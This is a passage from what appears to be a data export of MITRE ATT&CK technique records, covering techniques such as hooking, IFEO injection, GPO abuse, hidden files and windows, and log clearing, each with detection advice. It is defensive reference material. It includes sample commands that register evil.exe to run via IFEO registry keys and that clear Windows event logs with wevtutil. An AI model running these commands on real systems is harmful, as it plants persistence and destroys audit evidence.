Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\\n\\nRootkits detectors  (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\\n\\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes  (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\",\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"]}", description:"Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Hooking", modified:"2019-04-03T15:02:18.662Z", kill_chain_phases:["4c5aae30-2423-41b6-a330-1ddd92e90976", "c3e831a7-b349-4d62-a006-f94ce38d42a8", "a35c4056-b76e-4ec1-9fc0-67c22c87b243"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", external_references:["8805da52-4875-40f7-bb42-ddc900d6497d", "699f7110-541d-4576-b08e-3200510087b2", "4035c5b1-561f-42d8-9582-27cdbd8ed3da", "052754dc-d147-43d8-a4ef-4b4726baa944", "9aa013b4-2e78-42a6-b133-298dbd5cf95f", "bc5f58f6-26c7-4fa0-bda9-06906ef10892", "4a81f6c6-6cac-49ad-8bd3-351e88300168", "c1a60dec-7954-4a22-9fd6-f4d518bcba86", "b1af338b-a2b9-4725-a738-2cf5abb1c741", "22b3ec88-ba56-47a2-aede-a5c22ab700ca", "989e54aa-4613-4355-8868-30f11a39a2d0", "e3713d00-7890-4d16-9f98-70982d974929", "e748bc50-7a52-4b1f-8009-f9bdb573b206", "ccf947c7-fc24-4a30-9b7f-0530d4dccf53", "1077e992-a216-4d13-9efc-9d974cea0285", "d27ff38d-dd77-4327-9a3d-db7fb8fdd745"]}}, {_id:784, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:50.958Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"System calls\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)\",\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"]}", description:"A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Hypervisor", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:["27f80436-e423-4b9f-a41d-27884d5cabd6"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63", external_references:["fa2220d7-b486-4b53-bd20-9497a56a365a", "6e1f0468-1d45-41ae-b3ce-62e56d5c942b", "0560c134-1523-4bea-972f-7d1eea86719f", "260527ff-8fb6-477a-83cd-f1a5f9fc497e", "ae0574e6-80f5-41cc-86a0-e0e7f55c75ca", "7ecca376-aaee-4530-8ccf-9d3062bb61af"]}}, {_id:792, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Windows Registry\",\"Windows event logs\"],\"x_mitre_defense_bypassed\":[\"Autoruns Analysis\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\\n\\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017)\",\"x_mitre_contributors\":[\"Oddvar Moe, @oddvarmoe\"],\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"]}", description:"Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g  notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"</code>\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Image File Execution Options Injection", modified:"2018-10-31T13:45:13.024Z", kill_chain_phases:["b59abeb1-c365-4459-b71b-48ced1c02085", "03d76a00-444c-44c3-9738-5f6512ac0717", "5c10bb96-8c99-4d1a-acb0-3f16049dd3c7"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--62166220-e498-410f-a90a-19d4339d4e99", external_references:["ca28d7a1-fea9-4996-8cc5-8cda6db8af7f", "18e2abd2-6072-4711-b165-2793f8864858", "a3470680-5438-46b1-9582-397cb67d3932", "f1cef2d8-abd3-4bd6-810a-be958ad199d3", "de701a60-bc3c-42dc-85c9-bc8e597c9b2b", "95e7d8ac-b5ec-4a0d-8e75-1f70626bd658", "526dc050-7f70-4957-85d5-e4873b6de29d", "e2dbdb0c-5393-4380-bfb9-f80b8da1c60e"]}}, {_id:727, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-03-07T14:10:32.650Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Windows event logs\"],\"x_mitre_defense_bypassed\":[\"System access controls\",\"File system access controls\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\\n\\n* Event ID 5136 - A directory service object was modified\\n* Event ID 5137 - A directory service object was created\\n* Event ID 5138 - A directory service object was undeleted\\n* Event ID 5139 - A directory service object was moved\\n* Event ID 5141 - A directory service object was deleted\\n\\n\\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704). \",\"x_mitre_contributors\":[\"Itamar Mizrahi\",\"Tristan Bennett, Seamless Intelligence\"],\"x_mitre_permissions_required\":[\"Administrator\",\"User\"]}", description:"Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. \n\nGroup policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path <code>\\\\&lt;DOMAIN&gt;\\SYSVOL\\&lt;DOMAIN&gt;\\Policies\\</code>.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Disabling Security Tools](https://attack.mitre.org/techniques/T1089), [Remote File Copy](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035) and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) Publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)\n", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Group Policy Modification", modified:"2019-10-04T21:19:24.807Z", kill_chain_phases:["14184a92-baa1-4bb7-a908-4a348988803e"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", external_references:["02d00d91-1087-466b-bff9-9eef2cb5675b", "de7a4eb7-dd7c-4f14-87af-0cffbb43e5de", "1574f2d3-84c1-4c86-b0a4-2d49e5fb3bdb", "dffafdb4-1419-4a78-84cf-c436a04860e3", "6a47d837-cade-414c-8f6d-d3873035ba03", "04f03037-e428-48c3-aeb5-2fec50ae80fe", "0532ff59-052a-446f-936c-dba74a1e761e", "4828dad5-3445-4411-a25b-0daa886c1284"]}}, {_id:737, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Authentication logs\",\"File monitoring\",\"Environment variable\"],\"x_mitre_defense_bypassed\":[\"Log analysis\",\"Host forensic analysis\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.\",\"x_mitre_permissions_required\":[\"User\"]}", description:"The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"HISTCONTROL", modified:"2019-06-25T14:23:11.141Z", kill_chain_phases:["120c59d5-bfbe-45fd-afc2-0e112ef9fd11"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--086952c4-5b90-4185-b573-02bad8e11953", external_references:["edf46af8-2d82-4e89-8346-c1a5f49b378c"]}}, {_id:748, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_defense_bypassed\":[\"Host forensic analysis\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor the file system and shell commands for files being created with a leading \\\".\\\" and the Windows command-line use of attrib.exe to add the hidden attribute.\",\"x_mitre_permissions_required\":[\"User\"]}", description:"To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Hidden Files and Directories", modified:"2018-10-31T13:45:13.024Z", kill_chain_phases:["a72ee86d-5775-4561-9f7c-6deec5d2f54d", "e3e7a3be-4b68-47a3-b40d-05807bc37073"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", external_references:["621d9f54-009a-4500-b26e-32753faa575e", "9d13a96e-461e-4b94-bec5-6f3120667326", "29e83070-6e9c-4ff8-93ae-27b8e9f8b72e", "79eb0ff0-8249-4b86-9a76-4bec0cee1da8"]}}, {_id:759, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Windows event logs\",\"PowerShell logs\",\"Process command-line parameters\",\"Process monitoring\",\"File monitoring\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.\",\"x_mitre_contributors\":[\"Travis Smith, Tripwire\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.  (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Hidden Window", modified:"2019-10-15T22:00:58.582Z", kill_chain_phases:["bdeb820c-bf5d-4d50-b17f-1d75c627abfe"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", external_references:["ef61c37d-fd18-4e78-86a6-3b82e00363e8", "79306c69-2129-4a55-a2bb-6f090662d8bd", "cbfbc882-31ac-48e8-b9f3-41295a6bd250"]}}, {_id:804, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-09-04T12:04:03.552Z", custom:"{\"x_mitre_platforms\":[\"GCP\",\"Azure\",\"AWS\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\",\"x_mitre_contributors\":[\"Praetorian\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Amazon Web Service (AWS) Amazon Machine Images (AMI), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored to include malicious code. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a web shell.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) Adversaries may also implant Docker images that may be inadvertently used in cloud deployments, which has been reported in some instances of cryptomining botnets.(Citation: ATT Cybersecurity Cryptocurrency Attacks on Cloud) ", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Implant Container Image", modified:"2019-10-22T19:49:39.399Z", kill_chain_phases:["eccb6a29-4d11-4aa1-90a9-f8b00042d8b4"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", external_references:["4588095f-9d55-486c-a251-7b51d36e4f33", "aa4427e9-c9b8-4b0e-830d-48c559f9d69d", "2460f28a-333a-4ef8-8abe-4ba55b7fc45b", "3d5339b9-30d8-4d52-8d77-735dc733c253"]}}, {_id:810, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:47.384Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Sensor health and status\",\"Process command-line parameters\",\"Process monitoring\"],\"x_mitre_defense_bypassed\":[\"Anti-virus\",\"Log analysis\",\"Host intrusion prevention systems\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\\n\\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\AUTOLOGGER_NAME\\\\{PROVIDER_GUID}</code>\\n\\n\",\"x_mitre_contributors\":[\"Rob Smith\"]}", description:"An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Indicator Blocking", modified:"2019-07-19T14:43:30.929Z", kill_chain_phases:["95034ae8-2d5c-4190-a4df-de0e75eec5d3"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", external_references:["96fbe803-348e-48d3-a7f9-4930d8b7e35e", "52320ef9-75ed-4096-89b1-1d1262e7cef5", "ef4cd6d8-66fc-42a1-9725-26842fd8b8ce", "4096b9d9-6dc7-4a21-b598-e52cf5705b41", "dc6da876-bf1c-4905-b713-f4e41c2ddcf8"]}}, {_id:820, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:55.892Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\",\"API monitoring\",\"Windows event logs\"],\"x_mitre_defense_bypassed\":[\"Log analysis\",\"Host intrusion prevention systems\",\"Anti-virus\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"File system monitoring may be used to detect improper deletion or modification of indicator files. For example, deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft Clear-EventLog)) may generate an alterable event (Event ID 1102: \\\"The audit log was cleared\\\"). Events not stored on the file system may require different detection mechanisms.\",\"x_mitre_contributors\":[\"Ed Williams, Trustwave, SpiderLabs\"],\"x_mitre_system_requirements\":[\"Clearing the Windows event logs requires Administrator permissions\"]}", description:"Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/* .\n\nActions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\n### Clear Windows Event Logs\n\nWindows event logs are a record of a computer's alerts and notifications. Microsoft defines an event as \"any significant occurrence in the system or in a program that requires users to be notified or an entry added to a log.\" There are three system-defined sources of Events: System, Application, and Security.\n \nAdversaries performing actions related to account management, account logon and directory service access, etc. may choose to clear the events in order to hide their activities.\n\nThe event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nLogs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086).", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Indicator Removal on Host", modified:"2019-07-18T15:02:36.652Z", kill_chain_phases:["67500df7-2b6b-46db-b0f4-eb59434ccf29"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", external_references:["52a3a9c2-96d8-4727-a246-5bb9289e51e4", "4ebb1904-a454-46a5-a0d4-59e0219b1704", "62c9f2d4-4893-4a28-90ce-86af51ce11c3", "e7248e26-9350-48dd-8c52-c7089b5033ed", "04cd4dbf-7e9e-4cce-9e8c-7800ff41a37e"]}}, {_id:827, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\",\"Windows event logs\"],\"x_mitre_defense_bypassed\":[\"Static File Analysis\",\"Application whitelisting\",\"Process whitelisting\",\"Whitelisting by file name or path\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)\",\"x_mitre_contributors\":[\"Matthew Demaske, Adaptforward\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Indirect Command Execution", modified:"2019-04-24T18:28:19.845Z", kill_chain_phases:["d985b8f5-7f98-44e8-8ce4-b00fab054ba8"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", external_references:["6e180784-99df-4bc6-9b3c-f80b1775a0b8", "7e75ea73-f702-42d9-be4d-02d4442bcea6", "45637182-53da-4216-b0df-274bb44dfb94", "1b332e8f-7630-44a9-b626-a1581695bf03"]}}, {_id:389, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:58.007Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Process use of network\",\"Process monitoring\",\"Loaded DLLs\"],\"x_mitre_defense_bypassed\":[\"Process 